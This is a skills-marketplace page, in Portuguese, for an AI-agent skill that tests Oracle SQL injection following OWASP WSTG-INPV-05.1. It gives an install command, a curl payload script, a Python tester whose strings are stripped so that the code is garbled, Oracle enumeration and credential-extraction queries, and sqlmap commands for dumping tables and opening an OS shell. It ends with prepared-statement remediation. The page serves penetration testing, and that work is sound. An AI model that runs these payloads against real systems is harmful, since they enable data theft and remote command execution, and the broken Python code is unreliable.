Menu
Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.
Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-05-1O comando permanece em uma só linha. Role horizontalmente para revisá-lo antes de copiar.
Prefere uma cópia local? Baixe os arquivos disponíveis atualmente no SkillsMP.
Baseado na classificação ocupacional SOC
Exibindo SKILL.md
| name | wstg-inpv-05.1 |
| description | Testing for SQL Injection - Oracle |
| category | input-validation |
| owasp_id | WSTG-INPV-05.1 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-05.1
Testing for SQL Injection - Oracle
Oracle-specific SQL injection testing focuses on exploiting Oracle Database features, syntax, and built-in functions. Oracle's unique characteristics include PL/SQL, dual table, specific error messages, and distinct functions that can be leveraged for detection and exploitation.
#!/bin/bash
TARGET="https://target.com/product?id="
# Oracle-specific payloads
echo "[*] Testing for Oracle database..."
# Error-based detection
curl -s "${TARGET}'" | grep -iE "ORA-[0-9]{5}"
# Dual table test (Oracle-specific)
curl -s "${TARGET}1 AND 1=(SELECT 1 FROM DUAL)--"
# Oracle version
curl -s "${TARGET}' UNION SELECT NULL,banner,NULL FROM v\$version--"
# String concatenation (Oracle uses ||)
curl -s "${TARGET}1'||'test"
# Oracle comment syntax
curl -s "${TARGET}1--" | head -20
#!/usr/bin/env python3
"""
Oracle SQL Injection Tester
"""
requests
re
time
:
():
.url = url
.findings = []
.session = requests.Session()
ORACLE_ERRORS = [
,
,
,
,
,
,
,
,
]
ORACLE_PAYLOADS = {
: [
,
,
],
: [
,
,
,
,
,
],
: [
(, ),
(, ),
(, ),
],
: [
,
,
,
,
],
: [
,
,
,
],
}
():
()
detection_payloads = [
,
,
,
,
]
payload detection_payloads:
:
response = .session.get(.url, params={param: payload})
pattern .ORACLE_ERRORS:
re.search(pattern, response.text, re.IGNORECASE):
()
payload response.status_code == :
()
Exception e:
():
()
payload .ORACLE_PAYLOADS[]:
:
response = .session.get(.url, params={param: payload})
re.search(, response.text, re.IGNORECASE):
()
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
i (, ):
null_list = .join([] * i)
payload =
:
response = .session.get(.url, params={param: payload})
response.status_code == :
pattern .ORACLE_ERRORS:
re.search(pattern, response.text):
()
data_payload =
data_response = .session.get(.url, params={param: data_payload})
.findings.append({
: ,
: i,
:
})
Exception e:
():
()
start = time.time()
.session.get(.url, params={param: }, timeout=)
baseline = time.time() - start
payload .ORACLE_PAYLOADS[]:
:
start = time.time()
.session.get(.url, params={param: payload}, timeout=)
response_time = time.time() - start
response_time > baseline + :
()
()
()
.findings.append({
: ,
: payload,
: response_time,
:
})
requests.exceptions.Timeout:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
.detect_oracle(param):
.test_error_based(param)
.test_union_based(param)
.test_time_based(param)
.generate_report()
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
f:
()
tester = OracleSQLiTester()
tester.run_tests(param=)
-- Oracle Version
SELECT banner FROM v$version WHERE ROWNUM=1
SELECT version FROM v$instance
-- Current User
SELECT user FROM DUAL
SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL
-- Database Name
SELECT global_name FROM global_name
SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM DUAL
-- List Tables
SELECT table_name FROM all_tables
SELECT table_name FROM user_tables
-- List Columns
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
-- Extract Data
SELECT username,password FROM users
-- Stacked Queries (requires specific context)
'; EXECUTE IMMEDIATE 'INSERT INTO log VALUES(''injected'')'--
-- File Reading (requires privileges)
SELECT * FROM (SELECT text FROM all_source WHERE name='UTL_FILE')
-- Command Execution (requires JAVA privileges)
-- Create Java class for command execution
-- Execute via DBMS_JAVA.RUNJAVA
# Detect and exploit Oracle SQLi
sqlmap -u "https://target.com/product?id=1" --dbms=oracle
# Get Oracle version
sqlmap -u "https://target.com/product?id=1" --dbms=oracle --banner
# List databases
sqlmap -u "https://target.com/product?id=1" --dbms=oracle --dbs
# List tables
sqlmap -u "https://target.com/product?id=1" --dbms=oracle -D ORCL --tables
# Dump data
sqlmap -u "https://target.com/product?id=1" --dbms=oracle -D ORCL -T USERS --dump
# OS shell (requires privileges)
sqlmap -u "https://target.com/product?id=1" --dbms=oracle --os-shell
| Tool | Purpose |
|---|---|
| SQLMap | Automated Oracle SQLi |
| Oracle SQL Developer | Database client |
| Burp Suite | Manual testing |
// Java - PreparedStatement for Oracle
String query = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setInt(1, userId);
ResultSet rs = pstmt.executeQuery();
# Python - cx_Oracle with bind variables
import cx_Oracle
cursor = connection.cursor()
cursor.execute("SELECT * FROM users WHERE id = :id", {'id': user_id})
| Finding | CVSS | Severity |
|---|---|---|
| Oracle SQLi with DBA privileges | 9.8 | Critical |
| Oracle SQLi data extraction | 8.6 | High |
| Oracle Blind SQLi | 8.6 | High |
| CWE ID | Title |
|---|---|
| CWE-89 | SQL Injection |
[ ] Oracle database detected
[ ] Error-based injection tested
[ ] UNION-based injection tested
[ ] Time-based injection tested
[ ] Out-of-band tested (if possible)
[ ] Data extraction attempted
[ ] Findings documented